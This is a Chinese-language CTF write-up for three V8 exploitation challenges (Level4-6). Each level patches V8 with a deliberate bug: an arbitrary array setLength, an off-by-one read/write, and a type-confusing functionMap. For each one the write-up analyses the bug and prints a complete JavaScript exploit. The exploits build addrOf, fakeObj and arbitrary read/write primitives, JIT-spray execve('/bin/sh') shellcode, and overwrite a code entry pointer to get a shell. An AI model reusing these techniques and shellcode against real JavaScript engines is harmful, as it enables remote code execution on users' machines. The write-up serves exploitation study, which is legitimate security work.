Level4(能改写数组的length,污染map)
环境搭建
gitreset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffsource~/.bashrc gclientsync-Dgitapply<../Level4/patch ./tools/dev/v8gen.py x64.release subl ./out.gn/x64.release/args.gn python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j5修改参数如下:
is_component_build=falseis_debug=falsetarget_cpu="x64"v8_enable_sandbox=falsev8_enable_backtrace=truev8_enable_disassembler=truev8_enable_object_print=truedcheck_always_on=falseuse_goma=falsev8_code_pointer_sandboxing=false分析
注册了一个setLength方法。
这里是创建了一个新的文件来写这个方法,文件在src/builtins/array-setlength.tq
定义了ArrayPrototypeSetLength函数。
js-implicit表示这些参数是隐式传递的(由 V8 运行时提供)context: NativeContext- 当前 JavaScript 执行的上下文receiver: JSAny- 函数调用时的 this 值(接收者对象)length: JSAny- 用户传递的 length 参数
后面就是将用户传递的length参数转换为Smi 类型,然后就是将receiver(this 值)转换为JSArray类型,最后就直接赋值了,修改了array的长度。
漏洞利用
因为本题只能设置JsArray的Length。
所以大致思路如下:
先构造两个相邻的double_array,再构造一个obj。因为我们可以设置Length,导致我们有了越界读写。
我们先利用第一个数组对象利用越界读取中间数组的map值以及properties。
我们再利用中间的数组对象利用越界读取下一个obj的map值以及properties。
后面可以通过污染 Map来获取地址以及任意写了,对于获取地址,我们修改正常obj的map为中间double数组的map,这样读取obj的元素时就会根据map(已经被修改成double数组的map)来判断读取的方式,因为被修改了,就会当成浮点数,所以obj[0]被解释为浮点数(实际是对象指针)。
EXP
varbuf=newArrayBuffer(8);//分配8字节内存varf64=newFloat64Array(buf,0,1);//1个64位浮点数varu32=newUint32Array(buf,0,2);//2个32位无符号整数vari32=newInt32Array(buf,0,2);//2个32位有符号整数varu64=newBigUint64Array(buf,0,1);//1个64位大整数functionhex(str){returnstr.toString(16).padStart(16,0);}functionlogg(str,val){console.log("[+] "+str+": "+"0x"+hex(val));}functionunptr(v){returnv&0xfffffffen;}functionptr(v){returnv|1;}functionu32_to_f64(low,high){//combined (two 4 bytes) word to floatu32[0]=low;u32[1]=high;returnf64[0];}functionf64_to_u64(v){//float to bigintf64[0]=v;returnu64[0];}functionu64_to_f64(v){//bigint to floatu64[0]=v;returnf64[0];}functionu64_to_u32_0(v){u64[0]=v;returnu32[0];}functionu64_to_u32_1(v){u64[0]=v;returnu32[1];}functionshellcode(){// Promote to ensure not GC during training// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"return[1.9710255989868046e-246,1.9711456320011228e-246,1.97118242283721e-246,1.9711826272864685e-246,1.9712937950614383e-246,-1.6956275879669133e-231];}for(leti=0;i<10000;i++)shellcode();// Trigger MAGLEV compilationvartag=1;vararray=newArray(0x1000).fill(1.1);varrw_array=newArray(0x1000).fill(2.2);varobj={array,rw_array};array.setLength(0x10000);varrw_map_addr=u64_to_u32_0(f64_to_u64(array[0x1000]));varrw_properties_addr=u64_to_u32_1(f64_to_u64(array[0x1000]));logg("rw_map_addr",rw_map_addr);logg("rw_properties_addr",rw_properties_addr);// %DebugPrint(array);// %DebugPrint(rw_array);// %DebugPrint(obj);// %SystemBreak();rw_array.setLength(0x10000);varobj_map_addr=u64_to_u32_0(f64_to_u64(rw_array[0x1000]));varobj_properties_addr=u64_to_u32_1(f64_to_u64(rw_array[0x1000]));logg("obj_map_addr",obj_map_addr);logg("obj_properties_addr",obj_properties_addr);// %SystemBreak();functionGetAddressOf(object){rw_array[0x1000]=u32_to_f64(obj_map_addr,obj_properties_addr);obj[0]=object;rw_array[0x1000]=u32_to_f64(rw_map_addr,rw_properties_addr);//obj 现在使用浮点数组 Mapreturnu64_to_u32_0(f64_to_u64(obj[0]));//所以 obj[0] 被解释为浮点数(实际是对象指针)}functionAAR(addr){rw_array[0x1000]=u32_to_f64(rw_map_addr,rw_properties_addr);rw_array[0x1001]=u32_to_f64((addr-0x8)|tag,0x20000);returnf64_to_u64(obj[0]);}functionAAW(addr,value){rw_array[0x1000]=u32_to_f64(rw_map_addr,rw_properties_addr);rw_array[0x1001]=u32_to_f64(addr-0x8|tag,0x2000);obj[0]=u64_to_f64(value);}varshellcode_addr=GetAddressOf(shellcode);varcode_addr=unptr(AAR(shellcode_addr+0xc));varinstruction_start_addr=code_addr+0x14n;varshellcode_start=AAR(Number(instruction_start_addr))+0x6bn;AAW(Number(instruction_start_addr),shellcode_start);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("instruction_start_addr",instruction_start_addr);logg("shellcode_start",shellcode_start);shellcode();// %DebugPrint(shellcode);// %SystemBreak();调试分析
如图是两个数组和obj的结构,前两个数组的length已经被修改了,因此我们有了越界读写。
通过越界读取,我们可以拿到中间数组和obj的map值这些.
当我们读取shellcode的地址时,如下图,Map以及properties被修改成中间数组的map和properties,所以当读取obj[0]时第一个元素也就是shellcode会被解析成浮点数也就是实际是对象指针。
如上我们可以拿到shellcode的地址,然后还要获取shellcode中的code地址,shellcode结构如下
当我们通过var code_addr = unptr(AAR(shellcode_addr+0xc));获取code地址时
要修改obj结构的map以及elements,如图根据map还是会将元素解析成浮点数也就是能读取地址,然后将elements修改为shellcode_addr+0xc就能读取code的地址。
如下图就能看到code的地址,前8字节是map,后8字节才是code_addr,也就是通过obj[0]读出.
拿到了code_addr,那么根据前面几个题的方法,我们可以很轻松的拿到instruction_start_addr,
然后再利用上面同样的手法读取instruction_start_addr的值后加上0x6b,就可以拿到shellcode_start的地址。
拿到地址后就能利用越界写,将instruction_start_addr的值改成shellcode_start就能拿到shell了.
Level5 (越界读写8字节)
环境搭建
gitreset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffsource~/.bashrc gclientsync-Dgitapply<../Level5/patch ./tools/dev/v8gen.py x64.release subl ./out.gn/x64.release/args.gn#注意要修改参数python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j5修改参数如下:
is_component_build=falseis_debug=falsetarget_cpu="x64"v8_enable_sandbox=falsev8_enable_backtrace=truev8_enable_disassembler=truev8_enable_object_print=truedcheck_always_on=falseuse_goma=falsev8_code_pointer_sandboxing=false分析
添加了一个offByOne的方法
这个就是该方法的主要实现,先对receiver判断是否是JSArray以及数组的元素类型必须是简单类型(即没有 holes、不是对象等)
然后强制转换成JSArray后获取其元素,要求其元素必须是PACKED_DOUBLE_ELEMENTS。
然后再判断参数个数不超过两个,实际只传入一个参数,因为args[0]是receiver(this),args[1]是可选的写入值。
再把元素以FixedDoubleArray来储存。再获取数组长度并转换为uint32_t类型。
当我们没有传入参数时会进入if分支(read mode),read mode直接返回elements[len]的元素内容,很典型的一个越界
当参入参数时会进入else分支(write mode),write mode会先判断传入的值是否是IsNumber,然后将值转换成double类型就直接给elements[len]赋值。
通过分析可以发现这里明显有个8字节溢出的读写操作,思路大众和Level4一样。
PACKED_DOUBLE_ELEMENTS包括了PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTS和HOLEY_ELEMENTS。如下图:
漏洞分析
经过上面的分析可以知道本题是一个8字节的越界读写漏洞。意味着我们可以读写map和properties
当我们可以控制properties时,我们就有了一种新的利用法式,这里先简单介绍一下。
下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过elements来索引
下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引
列如:
varoob_array=[1.1];varobj={in_object:1};obj.out_object1=2;查看输出和内存,可以发现obj是JS_OBJECT_TYPE类型,
这里的in-object直接存储在elements后面
out-objs也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示
结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个obj的elements然后使用obj.out_object1 = xxxx;索引,同时修改值,这样就可以修改elements的length,同时继续去修改obj的length,这样就可以有一个rw_array,有这个rw_array之后,写addressOf、fakeObject、AAR、AAW是很简单的了。
EXP
varbuf=newArrayBuffer(8);//分配8字节内存varf64=newFloat64Array(buf,0,1);//1个64位浮点数varu32=newUint32Array(buf,0,2);//2个32位无符号整数vari32=newInt32Array(buf,0,2);//2个32位有符号整数varu64=newBigUint64Array(buf,0,1);//1个64位大整数functionhex(str){returnstr.toString(16).padStart(16,0);}functionlogg(str,val){console.log("[+] "+str+": "+"0x"+hex(val));}functionunptr(v){returnv&0xfffffffen;}functionptr(v){returnv|1;}functionu32_to_f64(low,high){//combined (two 4 bytes) word to floatu32[0]=low;u32[1]=high;returnf64[0];}functionf64_to_u64(v){//float to bigintf64[0]=v;returnu64[0];}functionu64_to_f64(v){//bigint to floatu64[0]=v;returnf64[0];}functionu64_to_u32_0(v){u64[0]=v;returnu32[0];}functionu64_to_u32_1(v){u64[0]=v;returnu32[1];}functionshellcode(){// Promote to ensure not GC during training// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"return[1.9710255989868046e-246,1.9711456320011228e-246,1.97118242283721e-246,1.9711826272864685e-246,1.9712937950614383e-246,-1.6956275879669133e-231];}for(leti=0;i<10000;i++)shellcode();// Trigger MAGLEV compilationfunctionread_OffByOne(target){returnf64_to_u64(target.offByOne())}functionwrite_OffByOne(target,val){target.offByOne(Number(val));}varoob_array=[1.1];varobj={in_object:1};obj.out_object1=2;varsecond_array=[2.2];varobj_map_addr=u64_to_u32_0(read_OffByOne(oob_array));varobj_properties_addr=u64_to_u32_1(read_OffByOne(oob_array));varelements_addr_of_oob_array=obj_properties_addr-0x64;logg("obj_map_addr",obj_map_addr);logg("obj_properties_addr",obj_properties_addr);logg("elements_addr_of_oob_array",elements_addr_of_oob_array);// %DebugPrint(oob_array);// %DebugPrint(obj);// %DebugPrint(second_array);// %SystemBreak();write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-0x4));obj.out_object1=0x1000;write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-4-0x10))obj.out_object1=0x1000;varsecond_array_map_properties=f64_to_u64(oob_array[0x10]);second_array_map=u64_to_u32_0(second_array_map_properties);second_array_properties=u64_to_u32_1(second_array_map_properties);logg("second_array_map",second_array_map);logg("second_array_properties",second_array_properties);functionGetAddresOf(object){oob_array[0x10]=u32_to_f64(obj_map_addr,0);second_array[0]=object;oob_array[0x10]=u32_to_f64(second_array_map,0);returnf64_to_u64(second_array[0]);}functionFakeObj(addr){oob_array[0x10]=u32_to_f64(second_array_map,0);second_array[0]=u32_to_f64(addr,0);oob_array[0x10]=u32_to_f64(obj_map_addr,0);returnsecond_array[0];}varfake_arr=[u32_to_f64(second_array_map,0),u32_to_f64(0,0x1000)];varfake_arr_addr=u64_to_u32_0(GetAddresOf(fake_arr));varfake_obj=FakeObj(fake_arr_addr+0x54);// %DebugPrint(fake_arr);// %DebugPrint(fake_obj);// %SystemBreak();functionAAR(addr){fake_arr[1]=u32_to_f64(addr-8,0x1000);returnf64_to_u64(fake_obj[0]);}functionAAW(addr,val){fake_arr[1]=u32_to_f64(addr-8,0x1000);fake_obj[0]=u64_to_f64(val);}varshellcode_addr=u64_to_u32_0(GetAddresOf(shellcode));varcode_addr=u64_to_u32_0(AAR(shellcode_addr+0xc));varinstruction_start_addr=AAR(code_addr+0x14);varshellcode_start=instruction_start_addr+0x6bn;AAW(Number(code_addr+0x14),shellcode_start);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("instruction_start_addr",instruction_start_addr);logg("shellcode_start",shellcode_start);shellcode()调试分析
首先先利用越界读取泄露obj_map_addr,obj_properties_addr,elements_addr_of_oob_array
然后利用越界写,改写oob_array的length以及oob_array的elements的length.
改写完length后我们就可以任意越界读取了。
然后就是泄露second_array的map和properties。
因为前面拿到了Obj的map和properties,现在又有second_arra的map和properties,因此我们可以利用oob_array越界写改写second_array的map和properties来造成混淆来泄露地址。
为了达到任意地址泄露读写的能力,我们还需要伪造一个obj。
fake_arr结构如下:
fake_obj通过map混肴,改second_array的elements[0]分配一个obj,这个fake_obj的地址是fake_arr+0x54的地方,实现fake_obj_elements_addr == fake_arr[1];
然后就可以通过修改fake_arr[1]然后读写fake_obj[0]来达到任意地址读写的目的。
Level6
环境搭建
gitreset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffsource~/.bashrc gclientsync-Dgitapply<../Level6/patch ./tools/dev/v8gen.py x64.release subl ./out.gn/x64.release/args.gn#注意要修改参数python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j5修改参数如下:
is_component_build=falseis_debug=falsetarget_cpu="x64"v8_enable_sandbox=falsev8_enable_backtrace=truev8_enable_disassembler=truev8_enable_object_print=truedcheck_always_on=falseuse_goma=falsev8_code_pointer_sandboxing=false分析
注册了一个functionMap方法
这里主要就是判断传入的参数是不是函数(JSFunction),然后对函数进行遍历,取出arr的元素然后转换成obj也就是下面的elem_handle,然后就是解释调用func_obj,也就是用户传入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内。
漏洞分析
这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆。
这里有个需要注意的就是:取值固定认为array为FixedDoubleArray,这是因为在functionMap开头已经检测过array的类型。但是由于JS Object的类型是动态的,我们完全有可能在自定义的func_obj中修改array的元素,导致类型发生转变,从而实现类型混淆。
对于上面的分析,我们就可以尝试构造一个函数,动态的修改arr的类型,下面是addressOf的编写,采用switch case的结构,使用idx进行遍历。第一次执行arr[2] = obj,成功的导致了map解析的类型发生改变,然后idx为1的时候,就会解析出来target的地址.
functionGetAddressOf(obj){vararr=[1.1,2.2,3.3];varaddr=0;varidx=0;arr.functionMap((value)=>{switch(idx){case0:arr[2]=obj;idx++;returnvalue;case1:addr=f64_to_u64(value);idx++;returnvalue;default:idx++;returnvalue;}});returnaddr;}idx=1可以索引出原本arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arr的idx会发生改变。如下图:
将arr[2] = obj时,arr会变为object类型,此时第二次以double的方式访问原本的arr[1]的位置时,取到的数据的低4位即为object的地址。
接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下
functionfakeObject(address){vararr=[1.1,2.2,3.3];varobj={};varidx=0;arr.functionMap((value)=>{switch(idx){case0:idx++;arr[2]=obj;returnu32_to_f64(address,0);default:idx++;returnvalue;}});returnarr[0];}EXP
varbuf=newArrayBuffer(8);//分配8字节内存varf64=newFloat64Array(buf,0,1);//1个64位浮点数varu32=newUint32Array(buf,0,2);//2个32位无符号整数vari32=newInt32Array(buf,0,2);//2个32位有符号整数varu64=newBigUint64Array(buf,0,1);//1个64位大整数functionhex(str){returnstr.toString(16).padStart(16,0);}functionlogg(str,val){console.log("[+] "+str+": "+"0x"+hex(val));}functionunptr(v){returnv&0xfffffffen;}functionptr(v){returnv|1;}functionu32_to_f64(low,high){//combined (two 4 bytes) word to floatu32[0]=low;u32[1]=high;returnf64[0];}functionf64_to_u64(v){//float to bigintf64[0]=v;returnu64[0];}functionu64_to_f64(v){//bigint to floatu64[0]=v;returnf64[0];}functionu64_to_u32_0(v){u64[0]=v;returnu32[0];}functionu64_to_u32_1(v){u64[0]=v;returnu32[1];}functionshellcode(){// Promote to ensure not GC during training// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"return[1.9710255989868046e-246,1.9711456320011228e-246,1.97118242283721e-246,1.9711826272864685e-246,1.9712937950614383e-246,-1.6956275879669133e-231];}for(leti=0;i<10000;i++)shellcode();// Trigger MAGLEV compilationfunctionGetAddressOf(target){vararr=[1.1,2.2,3.3];varaddr=0;varidx=0;// %DebugPrint(arr);// %SystemBreak();arr.functionMap((value)=>{switch(idx){case0:arr[2]=target;idx++;// logg("value",f64_to_u64(value));// %DebugPrint(arr);// %SystemBreak();returnvalue;case1:addr=f64_to_u64(value);// logg("value",f64_to_u64(value));// %SystemBreak();idx++;returnvalue;default:idx++;returnvalue;}});returnaddr;}functionfakeObject(address){vararr=[1.1,2.2,3.3];varobj={};varidx=0;arr.functionMap((value)=>{switch(idx){case0:idx++;arr[2]=obj;// %DebugPrint(arr);// %SystemBreak();returnu32_to_f64(address,0);default:idx++;returnvalue;}});returnarr[0];}varfake_double_map=[u64_to_f64(0x31040404001c01b5n),u64_to_f64(0x0a8007ff11000844n)];varfake_double_map_addr=u64_to_u32_0(GetAddressOf(fake_double_map))+0x54;logg("fake_double_map_addr",fake_double_map_addr);varfake_array=[u32_to_f64(fake_double_map_addr,0x0),u32_to_f64(0x1,0x1000)];varfake_array_addr=u64_to_u32_0(GetAddressOf(fake_array))+0x54;varfake_obj=fakeObject(fake_array_addr);logg("fake_array_addr",fake_array_addr);// %DebugPrint(fake_double_map);// %DebugPrint(fake_array);// %DebugPrint(fake_obj);// %SystemBreak();functionAAR(addr){fake_array[1]=u32_to_f64(addr-8,0x1000);returnf64_to_u64(fake_obj[0]);}functionAAW(addr,val){fake_array[1]=u32_to_f64(addr-8,0x1000);fake_obj[0]=u64_to_f64(val);}varshellcode_addr=u64_to_u32_0(GetAddressOf(shellcode));varcode_addr=u64_to_u32_0(AAR(shellcode_addr+0xC));varinstruction_start_addr=AAR(code_addr+0x14);varshellcode_start=instruction_start_addr+0x6bn;AAW(Number(code_addr+0x14),shellcode_start);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("instruction_start_addr",instruction_start_addr);logg("shellcode_start",shellcode_start)shellcode();调试分析
对于GetAddressOf在case 0处下断点查看可以看到arr[2] = obj,然后当case 1时就能取到传入的obj的地址。
然后伪造一个fake_double_map,其值是fake_double_map下map的前16字节内容,如图:
map的内容是:
这里设置这个值的原因是后面伪造fakeobj时,fakeobj的map值要合法所以要这么设置.
然后fake_double_map_addr = fake_double_map+0x54处时,刚好取到fake_double_map下elements的第一个元素,也就是0x220e001081cd-1+0x8的值.
然后再构造一个fake_array,其值就是fake_double_map_addr,和一个u32_to_f64(0x1,0x1000),
然后fake_array_addr = fake_array+0x54也是刚好取到第一个元素。
最后就是在fake_array_addr处伪造一个fakeObj, 这个fakeObj的地址就是0x220e0010846c+1,map地址就是0x01081d5,elements的地址就是fake_array的第2个元素。如下就是fake_obj的结构
仔细观察就可以发现fake_obj的地址就是fake_array+0x54也就是fake_array第一个元素处的地址,
fake_obj的map就是fake_array第一个元素,fake_obj的element就是fake_array的第二个元素。
然后fake_array第一个元素也就是fake_double_map_addr, 也就是fake_double_map中第一个元素所在的地址。
也就是说fake_obj中map中的值就是fake_double_map数组中伪造的数据。
综上所述我们就可以构造出AAR,AAW.
可以通过修改fake_array的第二个元素来修改 fake_obj的elements,后续思路就和前面的Level一样了。